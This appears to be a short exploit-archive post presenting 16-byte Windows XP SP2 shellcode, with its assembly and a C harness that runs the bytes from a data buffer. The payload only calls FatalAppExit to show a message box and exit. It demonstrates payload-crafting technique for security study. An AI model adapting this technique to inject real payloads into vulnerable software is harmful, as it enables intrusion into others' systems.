+-----------------------------------------------------+ | Windows XP Pro Sp2 English "Message-Box" Shellcode. | +-----------------------------------------------------+ Size : 16 Bytes, Null-Free. Author : Aodrulez. Email : f3arm3d3ar@gmail.com Shellcode = "\xB9\x38\xDD\x82\x7C\x33\xC0\xBB" "\xD8\x0A\x86\x7C\x51\x50\xFF\xd3"; +--------------+ | Description: | +--------------+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I've used a Function called "FatalAppExit". The Benefits are Three-Fold! 1] Displays a MessageBox. 2] Terminates the Process. 3] Its there in Kernel32.dll itself. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +-----------+ | Asm Code: | +-----------+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode: mov ecx,7c82dd38h ;"Admin" string in mem xor eax,eax mov ebx,7c860ad8h ;Addr of "FatalAppExit()" push ecx ;function from Kernel32 push eax call ebx ;App does a Clean Exit. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +-----------------+ | Shellcodetest.c | +-----------------+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ char code[] = "\xB9\x38\xDD\x82\x7C\x33\xC0\xBB" "\xD8\x0A\x86\x7C\x51\x50\xFF\xd3"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +-------------------+ | Greetz Fly Out To | +-------------------+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1] Amforked() : My Mentor. 2] The Blue Genius : My Boss. 3] www.orchidseven.com 4] str0ke ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +---------------------------------------------+ | Forgive, O Lord, My Little Jokes on Thee, | | and I'll Forgive Thy Great Big Joke on Me. | +---------------------------------------------+